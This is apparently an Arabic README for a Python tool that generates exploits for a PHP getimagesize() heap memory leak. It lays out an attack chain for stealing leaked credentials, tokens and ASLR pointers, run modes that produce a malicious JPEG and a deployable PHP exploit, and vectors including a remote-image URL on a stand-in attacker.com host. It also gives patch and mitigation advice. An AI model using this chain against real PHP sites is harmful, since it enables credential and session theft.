
PHP getimagesize() CVE-2025-14177 - مولد استغلال تسرب الذاكرة من الكومة سلسلة استغلال كاملة الوظائف بلغة بايثون
getimagesize()للاستخدام المصرح به في اختبار الاختراق والبحث الأمني فقط.
| الحقل | القيمة |
|---|---|
| CVE | CVE-2025-14177 |
| CWE | CWE-524 (استخدام مورد غير مهيأ) |
| الخطورة | متوسطة — CVSS 6.3 |
| السبب الجذري | php_read_stream_all_chunks() تكتب أجزاء متتالية إلى buffer[0]، مما يؤدي إلى استبدال البيانات السابقة بذاكرة كومة غير مهيأة |
getimagesize("php://filter/.../resource=malicious.jpg", $info)
└─ php_read_stream_all_chunks()
├─ Chunk 1 (8KB) → memcpy(buffer+0, chunk1, 8192)
├─ Chunk 2 (8KB) → memcpy(buffer+0, chunk2, 8192) ← overwrites!
└─ $info['APP1'] = chunk2 + uninitialized heap garbage
تحمل صورة JPEG ضارة علامة APP1 كبيرة الحجم (16 كيلوبايت) لإجبار مسار القراءة متعدد الأجزاء. الحقل APP1 المُعاد يُسرب ذاكرة كومة قد تحتوي على بيانات اعتماد، رموز، بيانات جلسة، أو مؤشرات ASLR.
[1] RECON Find PHP app exposing getimagesize() output (APP1 field)
[2] PREP Craft malicious.jpg (APP1 = 16KB)
[3] EXPLOIT Upload → trigger getimagesize($file, $info)
[4] EXTRACT Parse $info['APP1'] for leaked heap data
[5] IMPACT Credential theft / token extraction / ASLR bypass
python3 CVE-2025-14177.py [mode]
./exploit_output/)exploit_output/
├── malicious.jpg # حمولة JPEG مصممة (APP1 = 16 كيلوبايت)
├── exploit_standalone.php # استغلال PHP قابل للنشر
├── exploit_report.json # تقرير تحليل كامل
└── test_cases.json # 3 سيناريوهات اختبار
| الحالة | الناقل |
|---|---|
| 1 | رفع مباشر → getimagesize($_FILES[...], $info) |
| 2 | مرشح دفق + LFI (php://filter/read=.../resource=...) |
| 3 | URL صورة عن بعد (/preview.php?url=attacker.com/malicious.jpg) |
$infogetimagesize() باستخدام أغلفة php://filterقم بترقية PHP إلى الإصدار المُصحح. لا يوجد حل بديل — التصحيح مطلوب.
php -v # verify version
إذا تم حظر الترقية: قم بإزالة APP1 من $info قبل إعادته إلى العميل، أو تعطيل php://filter في allow_url_fopen.
هذه الأداة مخصصة لاختبار الأمان المصرح به فقط. الاستخدام غير المصرح به ضد أنظمة لا تملكها أو ليس لديك إذن كتابي صريح لاختبارها غير قانوني.
| الوضع | الإجراء |
|---|
demo | عرض كامل للاستغلال (افتراضي) |
gen | توليد صورة JPEG ضارة + كود استغلال PHP |
test | توليد JSON لحالة اختبار |
analyze | توليد JPEG + محاكاة + تحليل التسرب |
flow | طباعة مخطط تدفق الهجوم |